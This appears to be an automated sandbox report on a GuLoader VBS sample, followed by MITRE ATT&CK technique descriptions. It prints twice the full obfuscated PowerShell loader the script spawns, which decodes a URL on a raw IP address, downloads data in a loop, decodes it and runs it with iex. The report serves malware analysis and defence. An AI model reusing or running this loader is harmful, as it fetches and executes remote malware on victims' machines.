Apr 15, 2025 17:35:15.067766905 CEST	1358	IN	Data Raw: 37 2b 59 7a 48 2f 46 74 49 79 67 65 53 34 69 6a 31 51 51 73 6e 65 2f 6d 2b 79 79 58 4f 7a 53 57 4c 73 6b 59 46 61 58 78 31 57 50 30 54 53 79 64 36 47 51 36 68 6d 37 46 4b 39 5a 49 7a 31 56 6a 31 30 50 75 70 39 66 38 4e 75 4f 70 6f 77 53 38 70 45 Data Ascii: 7+YzH/FtIygeS4ij1QQsne/m+yyXOzSWLskYFaXx1WP0TSyd6GQ6hm7FK9ZIz1Vj10Pup9f8NuOpowS8pEJ4+/KEDgaMLferGWxiWRJ1EBZy2LZQy37Q1nEYtmhYfwwG+EBYByzADKTp9rp/DCdDFhci6tVUUXmi6Uktv3i9/dcfW5mXdZeJGhPOPikvjNoBM+5uB0S4jOAs7s2TCiXhbJeuLOsWTmlIaYW/0CCnvTDNuEzgDq0

Target ID:	0
Start time:	11:35:08
Start date:	15/04/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Agterdelen.vbs"
Imagebase:	0x7ff61fb00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:35:11
Start date:	15/04/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Thickskulled='func';Get-History;$Thickskulled+='t';Get-History;$Thickskulled+='i';$Hyldebusk=Get-History;$Thickskulled+='on:';(ni -p $Thickskulled -n Centralkomites -value { param($Toenderne);$Udlaansafdelingerne=5;do {$Hypersonically78+=$Toenderne[$Udlaansafdelingerne];$Udlaansafdelingerne+=6} until(!$Toenderne[$Udlaansafdelingerne])$Hypersonically78});ConvertTo-Html;(ni -p $Thickskulled -n Desiodothyroxine3 -value {param($Yodhs);.($Likrer) ($Yodhs)});ConvertTo-Html;$Protozoal=Centralkomites 'UdhunNAandseH lvfTKnowi.Sygehw';$Protozoal+=Centralkomites 'Tra.pe Ng eBGee.scStannl espIWeekeESkrumNOve,ft';$Affaldsbehandlingssystem=Centralkomites 'StensM SuitoTapwozPlatfividerlRooinl kogla Galm/';$Humps=Centralkomites 'Unt,rT b ralShowes ksko1I ter2';$Personnummers='Natur[ Mor.NPaa eEMondoTEll c.AudiosSuperEDirkeRTilkmvKorreiAl efcPyramEBrrespApproOAssorIu visNWhi ktIntegm per aGrievn ddanAfortrGFremhEFren rSoutf]Hellb: Hove: ensesEngulER.novcS wdeU PostrAcadeIElytrTAvedrySoejlpPardyRCodeboBassiTDeteko Fermc Utm.Ou derl Un,e=Gener$UnencHUdkraU ponsmAbeskpCheaps';$Affaldsbehandlingssystem+=Centralkomites 'Re.ym5 Me e. Re a0Civil Basha(,idsnWFjorti umlinA prodKilesoM.gilwIllegsGonad ParaNFaculTR sle B try1 Tita0 Neut.Restr0Umora;Disv Wan lWStimuiHjertnUnte 6Medbo4Mudst;Udsty Keciax bill6 ava4wicki;Lagri hawmrHunchvCbest:ifrer1ingse3Nasio4S,ema.udla 0Tabli)unalc RevolGFaaf eEquipcQuin,kSphaeo Gru / Cram2 Husa0 U.ya1 Week0T old0Herm.1Blast0Milli1Therm FortjFDuffaiLbeilrEberteHarmlf,sychoTrigoxchemo/Bihen1Ba.al3Fo pa4binar. etst0';$Transculturation=Centralkomites 'Skinnu SkilSUningeFo.terLavem-c eatATrochG nrulE EkstnUdartT';$Briggsk116=Centralkomites ' DischSaigat L.tttBundfpAnhe :Absfa/ Flaa/Dr ve6Sconc8 Eva..k bel1 arss6No pa8Marab.Raa e2P,ove2Musee3 Skam.Adiap1 Gyno0Dv gb8U rep/ ShelJUdlovDL the/CobalGJ ngaoDrewrsStealsVe.daiRibonpKorpseProgrrBobecsHansa.Reopetam ryoWeakmc';$Aftgtsydelser=Centralkomites ' pist>';$Likrer=Centralkomites 'RykkeiIsthmEPermix';$Hyposynergia='Sprngningsekspertens';$Konsigneres='\Discoach.Imm';Desiodothyroxine3 (Centralkomites '.loms$ UpsogHimmeL GushOVand,bLabioABriseLReinf: Ove A Buskf.orgeg SeldIS,rivVAcr tEDoodaLGyp ySRu,ddEEu,ognInsorS Penu=Endoc$Spen,EPol tN BlomVScumm: BordA .bysPQuinapAfskrdBlamia InfiTLitmua Brod+Donat$PrintKDu.niofr naNFishlsBegorIUm.rsgPicklnAsthoeTagdkrHjspneTube S');Desiodothyroxine3 (Centralkomites 'tho k$ AdstGSemiblB,folODactyBFassaAK risLudlgg:Unen pF gler ialti ttacsP nnikridicrExcitIJejunGFastlEbr gnNSymbre ars=Metap$ V lsbIllu,RAt mdIConfegBekengrepresLukrek Sd,k1Jydep1Balne6kryst. Fop SPigwaPWilcoL Ch liGtesktPriso(Ligh.$UknneAPolelfAfbetTMeropGMe.ogtConvesStamky cornDBrushe SerilPunktSDappeEAfgnarCockn)');Desiodothyroxine3 (Centralkomites $Personnummers);$Briggsk116=$Priskrigene[0];$Skaberkrfters=(Centralkomites 'Nimme$.tandGBou.hlErob,oTasseb ExcrAdigtelAssy.:Cre cA rideQ .vlsuVindaa SkribGe.neERadiolVerdel ScalE Brio=Cityin BrugeKabelwCross- SeicOResulbMa lejDatatE Me.nCSugetTGol c So iSefforycanzoSTeleftVild,ET.erimSe,nd. Ynde$ TevaPRe.chRTe neoR vieTSmaasOL ndsZpusilo He,tahovedl');Desiodothyroxine3 ($Skaberkrfters);Desiodothyroxine3 (Centralkomites 'pho o$Dy buAEssigqbes uuBl,kdaC.anub LicieLivrelDyrtilL vtseDukse. rebHSlagte miniaPreandGedebeHeterrCar.osCinch[extor$PyramT aserrCol paEth rnQua rs Te tcOplivu,aklilSpurgtCountuCzekor roubaSaltgtSt,ininytteogaasenFors ]Barsl=Under$TetraA Snowf PangfSavinaRekhtl P.ocdMixils RectbRoyaleWanglhRounda Dek nFa,ord esilForesis esvnNoresgopmaasBenedsGangeyRek nsEns,etMoniteEchoem');$Phraseology=Centralkomites 'Respi$tagasAEpignqGrantu hicaDiasybMastaeSkyd lSoffilBrotheHvlve.UnderDfam.lo trbswSkrivnAth elUdbryo MaldaSu frd CokeFDriftiHl.nilSkalkeBrnep(In.fr$HotmeBTrernrLieutiCobirg Ac rgPl nksFeltrkZohar1 Skum1Overh6Crota,Jo,le$ExpiaM Ta aiVidernSoci iAntipmJambia Doc lRaadll.aramn C,esnG deseFormad Thete Spin)';$Minimallnnede=$Afgivelsens;Desiodothyroxine3 (Centralkomites ' Ages$Anm lgVelfoLGemmeoTe plB guicABlok,lBor,v:SintrMBetonAOldkirblimbX TrirI BallsSopraMHedonEDesse= ormb(Bloodt ves EPresuSMotivtBlodu-CountpPlaneaUndiftNummeH and Quadr$TriniMskostiA.ksiNSwimmi Hi hm LandAL.medLsiltelSpaninIhje nOpve EtaellD Pte eSkra,)');while (!$Marxisme) {Desiodothyroxine3 (Centralkomites 'Celsi$JealogGallulDebatobrutabP eacaMhedel prng:autooBS indaEl,keaOstradC,mpal D phnD awag Fetid AceteUn.ep=Friha$Sto dvAmonheamp.ir SlogmKbenhoDerieu unbulLaboru') ;Desiodothyroxine3 $Phraseology;Desiodothyroxine3 (Centralkomites ' Unnu[S utsT inimhGardnrBlafreAfhngaReoccdSh ndI enernAntifgPugna.EkstrT phobHStokkrTaktre AarsA ,kovdKbsst]Fyrin:umrke: S gts SchiLskrupetr stEAntaiPVe.st(drmme4Slikk0 Ca o0Desir0Sho.t)');Desiodothyroxine3 (Centralkomites 'Crani$For.nG A luLFrugtOUnwarbhusasa oextlKredi:Peri MBilliaTorperspookXAimfuiesrogs undemhalsbe Hype= nsva( Barnt LokaeBermts,emogTca so-FljalP TallASi naTUn,ochPelsd Acan $MatchmAadseiBegonNKultuiSimazMRevi aAutodLBevisLHanden BajonSpumaER forDCavumeBygni)') ;Desiodothyroxine3 (Centralkomites ' Tran$InterGmaniolDrankO,cquibpaillaFerroLCadav:Str,gGM ltiECosmonMesacScourbt StriA RockN BrylD Korts Rkenl VirtSUnde,= S,ld$animagwel mL P,raOFarfubUnde.AovercLmusef:UnimpDUdgifoSeksatslattTHemihe DeltDThomanEft,reSmygeSsuttes ,ide+udmaa+ Blin%Paavi$ orrepStnkeRCigariBi dsS yngek Ni,hr Hi ticorrog,ychnE UndenUntrue F.em.ToppuCBedtiOMaskiUElvchnGl.rit') ;$Briggsk116=$Priskrigene[$Genstandsls]}$Pitarah=399137;$akademikerarbejdslshed=32580;Desiodothyroxine3 (Centralkomites 'Vizie$UdkasGBoulel Fr,mO LienbStagga NugaLLev,l:L mnepGulliopo rleAns,it Ge nHtor eo scheo,agcedPlatt Slowb= Dang IndlgG TilfEMaanatCou t-Plkkec VsenoAntitnPacifTBams edoumaNGavagT Flan Berig$MilamM OverI BrunNLitteIFrostmTyperA CirkLAvisllPalaeNGradiN fkrie J niD Py ie');Desiodothyroxine3 (Centralkomites 'Hinge$kongrgFolkelKlaskoSy.pobNe riaErhvel Flor: FjerS BronuS kenm TrivpNrin eDiebag My enSk ls Fre = Te.s Tri a[FlyrpSFdselyHomocs protAuktieMeditmKogej.PraktCPrvetoudtrrnde,erv MatreEksamr Ter.tYnded]Nonco: Ic n: I,ddFMildhrFast,oPy.temBe alBVagtma Rimls uedaeOdac.6Mista4EffekSPerirtStjerr BirtiAftalnCondeg Shee(Boner$ MycoPGajauo hetreCo artSpindhGammoo B auoDiarcdEjerl)');Desiodothyroxine3 (Centralkomites 'Kmpem$D.mongNeotel MimiOspegeb GeneAfl vel germ:Prel.OVocabVSyna eNonmuR Ze gNMalagEUnornrVa asvPreinoFje,duSpontSSabelLAlec YAnten Exist=Enh d assa[Aads,sSommeY OnomS O.skT CalceRdmesMAnbef. Log,TSu trePerscXRgsk.T fsen.GrnsiE TrasnG ndaCUnmovoVam edDundeIUndf NIceboG.illi] emop:Intel:bomseaSalsus Misac DalaIGobanIRarif.Udr nGIl faEFr ertMercisI.hthtKrediRUdsvviCabalN NdsaGUdskr(Tri o$krimisKrediu ArviMRembopL ctoEmethogElaboNTeam )');Desiodothyroxine3 (Centralkomites 'Skriv$InfangTon.vlClinoo A.pebGpdhoa SaltLBrevd:MyosctbeforJfairfsVan dtA.tieaMinerT GelliIbsenv ImpoEUndirrLusatnGir sEDr,susBeari=Hensi$EnchaoGuldmVSpu.vELyngsR U moNBasebeBesvarAnarkvHegelO BranUKamm,sAspirl PresYSouch.StemmS Tra uOmforbSkovlSforlitBa rdrCin.aIUnpatn Neongstjer( Tran$,hlorPkvgp,iUlydiTHobeda CaddR,paidALawk H Pro , Tibe$ferl aStempKNeutrADis rd IberEKonflmPseudiSweatk ProgEUkraiRPagura SpydRRelisbvildtenonphJDemisd Din SOleagLBe,okSMant,hMegamE aresd ntre)');Desiodothyroxine3 $Tjstativernes;"
Imagebase:	0x7ff7016f0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:35:11
Start date:	15/04/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:35:19
Start date:	15/04/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Thickskulled='func';Get-History;$Thickskulled+='t';Get-History;$Thickskulled+='i';$Hyldebusk=Get-History;$Thickskulled+='on:';(ni -p $Thickskulled -n Centralkomites -value { param($Toenderne);$Udlaansafdelingerne=5;do {$Hypersonically78+=$Toenderne[$Udlaansafdelingerne];$Udlaansafdelingerne+=6} until(!$Toenderne[$Udlaansafdelingerne])$Hypersonically78});ConvertTo-Html;(ni -p $Thickskulled -n Desiodothyroxine3 -value {param($Yodhs);.($Likrer) ($Yodhs)});ConvertTo-Html;$Protozoal=Centralkomites 'UdhunNAandseH lvfTKnowi.Sygehw';$Protozoal+=Centralkomites 'Tra.pe Ng eBGee.scStannl espIWeekeESkrumNOve,ft';$Affaldsbehandlingssystem=Centralkomites 'StensM SuitoTapwozPlatfividerlRooinl kogla Galm/';$Humps=Centralkomites 'Unt,rT b ralShowes ksko1I ter2';$Personnummers='Natur[ Mor.NPaa eEMondoTEll c.AudiosSuperEDirkeRTilkmvKorreiAl efcPyramEBrrespApproOAssorIu visNWhi ktIntegm per aGrievn ddanAfortrGFremhEFren rSoutf]Hellb: Hove: ensesEngulER.novcS wdeU PostrAcadeIElytrTAvedrySoejlpPardyRCodeboBassiTDeteko Fermc Utm.Ou derl Un,e=Gener$UnencHUdkraU ponsmAbeskpCheaps';$Affaldsbehandlingssystem+=Centralkomites 'Re.ym5 Me e. Re a0Civil Basha(,idsnWFjorti umlinA prodKilesoM.gilwIllegsGonad ParaNFaculTR sle B try1 Tita0 Neut.Restr0Umora;Disv Wan lWStimuiHjertnUnte 6Medbo4Mudst;Udsty Keciax bill6 ava4wicki;Lagri hawmrHunchvCbest:ifrer1ingse3Nasio4S,ema.udla 0Tabli)unalc RevolGFaaf eEquipcQuin,kSphaeo Gru / Cram2 Husa0 U.ya1 Week0T old0Herm.1Blast0Milli1Therm FortjFDuffaiLbeilrEberteHarmlf,sychoTrigoxchemo/Bihen1Ba.al3Fo pa4binar. etst0';$Transculturation=Centralkomites 'Skinnu SkilSUningeFo.terLavem-c eatATrochG nrulE EkstnUdartT';$Briggsk116=Centralkomites ' DischSaigat L.tttBundfpAnhe :Absfa/ Flaa/Dr ve6Sconc8 Eva..k bel1 arss6No pa8Marab.Raa e2P,ove2Musee3 Skam.Adiap1 Gyno0Dv gb8U rep/ ShelJUdlovDL the/CobalGJ ngaoDrewrsStealsVe.daiRibonpKorpseProgrrBobecsHansa.Reopetam ryoWeakmc';$Aftgtsydelser=Centralkomites ' pist>';$Likrer=Centralkomites 'RykkeiIsthmEPermix';$Hyposynergia='Sprngningsekspertens';$Konsigneres='\Discoach.Imm';Desiodothyroxine3 (Centralkomites '.loms$ UpsogHimmeL GushOVand,bLabioABriseLReinf: Ove A Buskf.orgeg SeldIS,rivVAcr tEDoodaLGyp ySRu,ddEEu,ognInsorS Penu=Endoc$Spen,EPol tN BlomVScumm: BordA .bysPQuinapAfskrdBlamia InfiTLitmua Brod+Donat$PrintKDu.niofr naNFishlsBegorIUm.rsgPicklnAsthoeTagdkrHjspneTube S');Desiodothyroxine3 (Centralkomites 'tho k$ AdstGSemiblB,folODactyBFassaAK risLudlgg:Unen pF gler ialti ttacsP nnikridicrExcitIJejunGFastlEbr gnNSymbre ars=Metap$ V lsbIllu,RAt mdIConfegBekengrepresLukrek Sd,k1Jydep1Balne6kryst. Fop SPigwaPWilcoL Ch liGtesktPriso(Ligh.$UknneAPolelfAfbetTMeropGMe.ogtConvesStamky cornDBrushe SerilPunktSDappeEAfgnarCockn)');Desiodothyroxine3 (Centralkomites $Personnummers);$Briggsk116=$Priskrigene[0];$Skaberkrfters=(Centralkomites 'Nimme$.tandGBou.hlErob,oTasseb ExcrAdigtelAssy.:Cre cA rideQ .vlsuVindaa SkribGe.neERadiolVerdel ScalE Brio=Cityin BrugeKabelwCross- SeicOResulbMa lejDatatE Me.nCSugetTGol c So iSefforycanzoSTeleftVild,ET.erimSe,nd. Ynde$ TevaPRe.chRTe neoR vieTSmaasOL ndsZpusilo He,tahovedl');Desiodothyroxine3 ($Skaberkrfters);Desiodothyroxine3 (Centralkomites 'pho o$Dy buAEssigqbes uuBl,kdaC.anub LicieLivrelDyrtilL vtseDukse. rebHSlagte miniaPreandGedebeHeterrCar.osCinch[extor$PyramT aserrCol paEth rnQua rs Te tcOplivu,aklilSpurgtCountuCzekor roubaSaltgtSt,ininytteogaasenFors ]Barsl=Under$TetraA Snowf PangfSavinaRekhtl P.ocdMixils RectbRoyaleWanglhRounda Dek nFa,ord esilForesis esvnNoresgopmaasBenedsGangeyRek nsEns,etMoniteEchoem');$Phraseology=Centralkomites 'Respi$tagasAEpignqGrantu hicaDiasybMastaeSkyd lSoffilBrotheHvlve.UnderDfam.lo trbswSkrivnAth elUdbryo MaldaSu frd CokeFDriftiHl.nilSkalkeBrnep(In.fr$HotmeBTrernrLieutiCobirg Ac rgPl nksFeltrkZohar1 Skum1Overh6Crota,Jo,le$ExpiaM Ta aiVidernSoci iAntipmJambia Doc lRaadll.aramn C,esnG deseFormad Thete Spin)';$Minimallnnede=$Afgivelsens;Desiodothyroxine3 (Centralkomites ' Ages$Anm lgVelfoLGemmeoTe plB guicABlok,lBor,v:SintrMBetonAOldkirblimbX TrirI BallsSopraMHedonEDesse= ormb(Bloodt ves EPresuSMotivtBlodu-CountpPlaneaUndiftNummeH and Quadr$TriniMskostiA.ksiNSwimmi Hi hm LandAL.medLsiltelSpaninIhje nOpve EtaellD Pte eSkra,)');while (!$Marxisme) {Desiodothyroxine3 (Centralkomites 'Celsi$JealogGallulDebatobrutabP eacaMhedel prng:autooBS indaEl,keaOstradC,mpal D phnD awag Fetid AceteUn.ep=Friha$Sto dvAmonheamp.ir SlogmKbenhoDerieu unbulLaboru') ;Desiodothyroxine3 $Phraseology;Desiodothyroxine3 (Centralkomites ' Unnu[S utsT inimhGardnrBlafreAfhngaReoccdSh ndI enernAntifgPugna.EkstrT phobHStokkrTaktre AarsA ,kovdKbsst]Fyrin:umrke: S gts SchiLskrupetr stEAntaiPVe.st(drmme4Slikk0 Ca o0Desir0Sho.t)');Desiodothyroxine3 (Centralkomites 'Crani$For.nG A luLFrugtOUnwarbhusasa oextlKredi:Peri MBilliaTorperspookXAimfuiesrogs undemhalsbe Hype= nsva( Barnt LokaeBermts,emogTca so-FljalP TallASi naTUn,ochPelsd Acan $MatchmAadseiBegonNKultuiSimazMRevi aAutodLBevisLHanden BajonSpumaER forDCavumeBygni)') ;Desiodothyroxine3 (Centralkomites ' Tran$InterGmaniolDrankO,cquibpaillaFerroLCadav:Str,gGM ltiECosmonMesacScourbt StriA RockN BrylD Korts Rkenl VirtSUnde,= S,ld$animagwel mL P,raOFarfubUnde.AovercLmusef:UnimpDUdgifoSeksatslattTHemihe DeltDThomanEft,reSmygeSsuttes ,ide+udmaa+ Blin%Paavi$ orrepStnkeRCigariBi dsS yngek Ni,hr Hi ticorrog,ychnE UndenUntrue F.em.ToppuCBedtiOMaskiUElvchnGl.rit') ;$Briggsk116=$Priskrigene[$Genstandsls]}$Pitarah=399137;$akademikerarbejdslshed=32580;Desiodothyroxine3 (Centralkomites 'Vizie$UdkasGBoulel Fr,mO LienbStagga NugaLLev,l:L mnepGulliopo rleAns,it Ge nHtor eo scheo,agcedPlatt Slowb= Dang IndlgG TilfEMaanatCou t-Plkkec VsenoAntitnPacifTBams edoumaNGavagT Flan Berig$MilamM OverI BrunNLitteIFrostmTyperA CirkLAvisllPalaeNGradiN fkrie J niD Py ie');Desiodothyroxine3 (Centralkomites 'Hinge$kongrgFolkelKlaskoSy.pobNe riaErhvel Flor: FjerS BronuS kenm TrivpNrin eDiebag My enSk ls Fre = Te.s Tri a[FlyrpSFdselyHomocs protAuktieMeditmKogej.PraktCPrvetoudtrrnde,erv MatreEksamr Ter.tYnded]Nonco: Ic n: I,ddFMildhrFast,oPy.temBe alBVagtma Rimls uedaeOdac.6Mista4EffekSPerirtStjerr BirtiAftalnCondeg Shee(Boner$ MycoPGajauo hetreCo artSpindhGammoo B auoDiarcdEjerl)');Desiodothyroxine3 (Centralkomites 'Kmpem$D.mongNeotel MimiOspegeb GeneAfl vel germ:Prel.OVocabVSyna eNonmuR Ze gNMalagEUnornrVa asvPreinoFje,duSpontSSabelLAlec YAnten Exist=Enh d assa[Aads,sSommeY OnomS O.skT CalceRdmesMAnbef. Log,TSu trePerscXRgsk.T fsen.GrnsiE TrasnG ndaCUnmovoVam edDundeIUndf NIceboG.illi] emop:Intel:bomseaSalsus Misac DalaIGobanIRarif.Udr nGIl faEFr ertMercisI.hthtKrediRUdsvviCabalN NdsaGUdskr(Tri o$krimisKrediu ArviMRembopL ctoEmethogElaboNTeam )');Desiodothyroxine3 (Centralkomites 'Skriv$InfangTon.vlClinoo A.pebGpdhoa SaltLBrevd:MyosctbeforJfairfsVan dtA.tieaMinerT GelliIbsenv ImpoEUndirrLusatnGir sEDr,susBeari=Hensi$EnchaoGuldmVSpu.vELyngsR U moNBasebeBesvarAnarkvHegelO BranUKamm,sAspirl PresYSouch.StemmS Tra uOmforbSkovlSforlitBa rdrCin.aIUnpatn Neongstjer( Tran$,hlorPkvgp,iUlydiTHobeda CaddR,paidALawk H Pro , Tibe$ferl aStempKNeutrADis rd IberEKonflmPseudiSweatk ProgEUkraiRPagura SpydRRelisbvildtenonphJDemisd Din SOleagLBe,okSMant,hMegamE aresd ntre)');Desiodothyroxine3 $Tjstativernes;"
Imagebase:	0xbe0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000008.00000002.2573407527.0000000009DB6000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:35:19
Start date:	15/04/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
